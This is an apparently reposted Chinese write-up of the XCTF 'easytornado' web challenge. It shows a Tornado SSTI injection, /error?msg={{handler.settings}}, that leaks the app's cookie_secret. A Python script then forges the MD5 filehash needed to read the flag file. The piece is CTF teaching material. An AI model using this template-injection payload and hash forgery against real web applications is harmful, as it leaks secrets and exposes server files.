攻防世界:web easytornado

Posted Zeker62

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了攻防世界:web easytornado相关的知识,希望对你有一定的参考价值。

真不easy

提取有用信息:

打开网站,发现有三个文件

  • flag.txt: 告诉了我们flag的位置
  • welcome.txt:告诉我们这是和render渲染函数有关,即可能存在SSTI漏洞
  • hints.txt: 告诉了我们某个东西的加密方式
    根据经验,盲猜这是个身份验证的秘钥,看见URL后面的东西像MD5加密后的密文,所以猜测可能就是filehash的值

所以,我们访问/fllllllllllllag文件获取flag的格式就是:http://...//file?filename=/fllllllllllllag&filehash=xxxxxxxxxxxxxxxxxxxxxxxxxx

寻找漏洞

我们要寻找的肯定是SSTI漏洞
我们发现,只要在URL后面输入{{...}}的内容一定会跳转到error网站
那就猜想这个网站可能有SSTI漏洞咯
果然存在SSTI漏洞,那么现在就是招漏洞注入点

百度,找tornado的特点:

你也不知道,所以百度:tornado的漏洞
其实也不需要看懂,碰到了查一下就好
注入:/error?msg={{handler.settings}}


得到了一串:
根据加密规则,写python脚本进行加密

import hashlib
filename='/fllllllllllllag'
cookie_security="557da611-8ab8-4cd2-916d-e075279074cd"


def getvalue(string):
	md5=hashlib.md5()
	md5.update(string.encode('utf-8'))
	return md5.hexdigest() #返回十六进制md5值(默认返回的是二进制)
def merge():
	flag=getvalue(cookie_security+getvalue(filename))
	#print(flag)
	payload='http://111.200.241.244:58389/file?filename=/fllllllllllllag&filehash='+flag
	print(payload)
if __name__=='__main__':
	merge()

得到
直接输入这个URL就好了

以上是关于攻防世界:web easytornado的主要内容,如果未能解决你的问题,请参考以下文章

XCTF-攻防世界CTF平台-Web类——15easytornado(SSTI服务器模板注入Tornado 框架render渲染函数MD5加密)

攻防世界WEB练习-fileclude

攻防世界WEB进阶之upload1

攻防世界-web:ics-05

攻防世界-web:ics-05

攻防世界:WEB——warmup